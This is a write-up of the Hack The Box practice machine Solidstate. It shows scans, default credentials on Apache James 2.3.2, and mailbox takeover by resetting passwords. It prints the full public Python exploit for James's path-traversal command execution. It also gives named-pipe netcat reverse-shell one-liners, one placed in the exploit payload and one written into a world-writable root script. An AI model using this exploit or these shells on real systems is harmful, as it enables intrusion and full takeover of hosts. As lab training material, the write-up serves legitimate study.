Hack the Box -- Solidstate

I usually don't do writeups for boxes I didn't solve while active, but I'm taking today as a learning/training day and I figured I would do one of TJ Null's OSCP-like boxes for practice.

Let's take a look at Solid State.

Nmap Scans

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/nmap$ cat scriptScan 
# Nmap 7.91 scan initiated Thu Nov 19 19:38:19 2020 as: nmap -T4 -sC -p 22,25,80,110,119,4555 -oN scriptScan 10.10.10.51
Nmap scan report for 10.10.10.51
Host is up (0.079s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.46 [10.10.14.46]), 
80/tcp   open  http
|_http-title: Home - Solid State Security
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

# Nmap done at Thu Nov 19 19:38:31 2020 -- 1 IP address (1 host up) scanned in 11.97 seconds

I ran a script scan against the ports I detected as being open.

Investigating the open ports

Port 22 – SSH

SSH is usually a no-go for me unless we have creds of some sort. I don't think I've encountered any machines on HTB that require bruteforcing. Not going to bother.

Port 25 – SMTP

Simple Mail Transfer Protocol. This is the protocol for mail transmission. You can read more about it here. Typically, it's used to send mail, is the important thing to remember. When I was learning early on, I used to remember that by telling myself that SM was "Send Mail." It was just an easy way to remember it. Nmap does have some scripts that can help us enumerate usernames. Let's take a look.

Nmap SMTP User enumeration

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/nmap$ nmap -T4 -p 25 10.10.10.51 --script=smtp-enum-users -oN smtpEnumUsers
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 11:27 CST
Nmap scan report for 10.10.10.51
Host is up (0.078s latency).

PORT   STATE SERVICE
25/tcp open  smtp
| smtp-enum-users: 
|_  root

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

While Nmap will let you test against a custom list, all we need for now is the default list it provides. We will see that it round a user called "root."  More on that in a bit.

Port 80 – HTTP

We look through to see if we can find anything interesting. While doing that, I run gobuster:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/gobuster$ gobuster dir -u http://10.10.10.51 -w /usr/share/wordlists/dirb/common.txt -x txt,php,sh -t 30 -o commonWords.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.51
[+] Threads:        30
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,sh,txt
[+] Timeout:        10s
===============================================================
2020/11/20 12:00:15 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.sh (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.sh (Status: 403)
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.hta.sh (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/LICENSE.txt (Status: 200)
/README.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2020/11/20 12:01:07 Finished
===============================================================

I didn't find anything relevant by following any of those directories, but always explore everything. I've missed stupid stuff by not exploring each directory, or even accidentally skipping one because I got distracted for a second then came back and picked up from the wrong place. The one I missed happened to be the directory I needed to pay attention to. (I forget the name, but it was the box based on Minecraft. Think it was Blocky.)

We also find an email: webadmin@solid-state-security.com.

Port 110 – POP3

This is Post Office Protocol. You can learn more about it here, but the tl;dr is that it enables you to read your mail.

We can try to login knowing that we had a root user. We don't have a password yet, but let's try root:root:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/nmap$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
user root
+OK
pass root
-ERR Authentication failed.

Nope.

Port 119 – NNTP

We can read up on RFC 977 to learn about NNTP. Basically, it's for sharing articles:

NNTP specifies a protocol for the distribution, inquiry, retrieval, and posting of news articles using a reliable stream-based transmission of news among the ARPA-Internet community.  NNTP is designed so that news articles are stored in a central database allowing a subscriber to select only those items he wishes to read. Indexing, cross-referencing, and expiration of aged messages are also provided. This RFC suggests a proposed protocol for the ARPA-Internet community, and requests discussion and suggestions for improvements. Distribution of this memo is unlimited.

Cool. Um. Never heard of it. Let's check out some basic commands.

Investigating NNTP port 119

Let's use good ol' telnet.

We can use "list" to list newsgroups:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/nmap$ telnet 10.10.10.51 119
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
200 solidstate NNTP Service Ready, posting permitted
list
215 list of newsgroups follows
org.apache.james.dev 0 0 y
org.apache.avalon.dev 0 0 y
org.apache.avalon.user 0 0 y
org.apache.james.user 0 0 y

There are more commands that let us select news groups and read within them. I've already gone through and done that. Found nothing of use. Still, good to look at that list of commands I linked to one section up just to gain some familiarity with it.

I will add james and avalon to my notes as possible users. So far, we have:

Port 4555 – James 2.3.2

This one is new. Let's see what we find:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/gobuster$ telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:

Interesting. Using good ol' Google actually takes us to a few results on ExploitDB. Well, looks like this might be our service to attack.

We have an exploit and a detailed writeup.

Some key things taken from the writeup:

  • Default user and password: root
  • Allows for code execution because it does not do proper input validation.
  • Because Apache James listens for email transactions on port 25 (a privileged port on *nix systems) it must run as a privileged user like root.
A username such as “../../../../../../../../etc/bash_completion.d” can lead to files being placed in “/etc/bash_completion.d,” a directory containing commands that execute when a user signs into the machine. By sending messages to this user, an attacker can execute commands that probe the mail server and retrieve data from it.

That looks a lot like the exploit we found:

#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

import socket
import sys
import time

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user 
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]

def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()

    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    s.send("ehlo team@team.pl\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: team@team.pl\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
    print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."

The part around line 35 does exactly that:

try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()

Creates a user called bash_completion.d, which places files in that directory, which executes commands when a user logs into the machine.

We can see that around line 72:

print "[+]Done! Payload will be executed once somebody logs in."
except:

Let's see if we can log in this time now that we know there is a root user and the creds should be root:root.

Investigating James

Well, holy crap! It worked:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/gobuster$ telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

That's a lot of commands. Let's run listusers.

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

We can add those to our list of users.

According to the list of commands, we can also run setpassword to update passwords in the following format:

setpassword [username] [password]

Let's try resetting passwords so we can check them out. There we go:

setpassword james password
Password for james reset
setpassword thomas password
Password for thomas reset
setpassword john password
Password for john reset
setpassword mindy password
Password for mindy reset
setpassword mailadmin password
Password for mailadmin reset

Now we've set all the passwords to password. James manages mail. Let's see if we can log into their accounts and read their email.

Remember, SMTP is for sending mail and POP3 is for retrieving mail. Let's telnet into port 110.

We go down the list:

James

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/gobuster$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
user james
+OK
pass password
+OK Welcome james
help
-ERR
list
+OK 0 0
.

No mail for james. Jerkbag.

We will go down the list doing the same.

John has something:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/gobuster$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
user john
+OK
pass password
+OK Welcome john
list
+OK 1 743
1 743
.
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <john@localhost>;
          Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John, 

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.

Respectfully,
James

.

It's a message from jerkbag james, who actually sounds like a nice guy based on his email. Now I feel bad for calling him a jerkbag. I guess I'm the jerkbag.

Mindy has two messages:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate/gobuster$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
user mindy
+OK
pass password
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security. 

Respectfully,
James
.
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.

Cool. Now we have a password. Looks like we can log into the machine as mindy:

mindy:P@55W0rd1!2@

We also tried the mailadmin user. They had no messages. Poor mailadmin.

What do we have so far?

We have an exploit that creates a user that is really just a payload that executes when someone logs in. We have Mindy's creds, so we can login. Thing to figure out now is how to use this to execute whatever we want to execute. In the interest of reading time, I'm going to say I already logged in as Mindy and she has a restricted shell and can basically only run ls and cat. (Though she does have access to the user flag, so pick that sucker up real quick) Tried some escapes, not having any luck there. We have that exploit, so we have to figure out how to use that to our advantage. How to give it a payload that will give us a less restricted shell than we'd have with Mindy. That said, we can use Mindy's login to activate it.

Let's think for a bit and try some things.

How to run the exploit

 python2 jamessploit.py 10.10.10.51

The above will run the exploit. Then logging in as Mindy via ssh will execute the payload. The only thing we have to figure out right now is how to get a payload that will give us what we want. First thought is a reverse shell.

I modify line 19 of the python script to say this:

payload = "mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 10.10.14.46 4444 1>/tmp/backpipe"  # to exploit only on root

It's my usual go to for reverse shells, because it's a pretty safe bet. It tends to work if they have netcat without the -e flag, and tends to be reliable in my experience, because I don't know what else is on the server (i.e. php, perl, python, etc.).

And I've got my shell:

nux@KakaLinpoop:~/Documents/htb/boxes/solidstate$ nlis4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.51.
Ncat: Connection from 10.10.10.51:35044.
ls
bin
user.txt
whoami
mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
usbmux:x:105:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
rtkit:x:106:110:RealtimeKit,,,:/proc:/bin/false
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false
messagebus:x:108:111::/var/run/dbus:/bin/false
geoclue:x:109:115::/var/lib/geoclue:/bin/false
avahi:x:110:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false
saned:x:112:119::/var/lib/saned:/bin/false
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
pulse:x:114:120:PulseAudio daemon,,,:/var/run/pulse:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:122:Gnome Display Manager:/var/lib/gdm3:/bin/false
sshd:x:117:65534::/run/sshd:/usr/sbin/nologin
james:x:1000:1000:james:/home/james/:/bin/bash
mindy:x:1001:1001:mindy:/home/mindy:/bin/rbash

Enumeration

I used linpeas for enumeration. I copied it over with python http server. I just use an alias I created called pyserv, and it then use wget to copy the file over. I saw some interesting script running as root:

/bin/sh /opt/james-2.3.2/bin/run.sh

I didn't have access to it, but in doing that, I found something even more interesting:

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ pwd
/opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -larth
total 16K
drwxr-xr-x 22 root root 4.0K Jun 18  2017 ..
drwxr-xr-x 11 root root 4.0K Aug 22  2017 james-2.3.2
drwxr-xr-x  3 root root 4.0K Aug 22  2017 .
-rwxrwxrwx  1 root root  140 Nov 20 16:05 tmp.py

tmp.py is owned by root and I have full access to it. Let's root this thing.

The script just appears to clear out the /tmp folder. Let me modify it to give me something a bit more useful:

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py 
#!/usr/bin/env python
import os
import sys
os.system('mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.46 443 1>/tmp/backpipe')

I looked at cron to see when this runs, but didn't find anything. I just kind of went with an educated guess, because it's a script that clears out the tmp directory, I figure it runs on a somewhat regular interval (i.e. every minute or something). Again, that was just an educated guess.

Got root?

And it was a good guess:

nux@KakaLinpoop:~/Documents/pwningtools/enumerationScripts/linux/linpeas/linPEAS$ nlis443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.51.
Ncat: Connection from 10.10.10.51:54706.
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)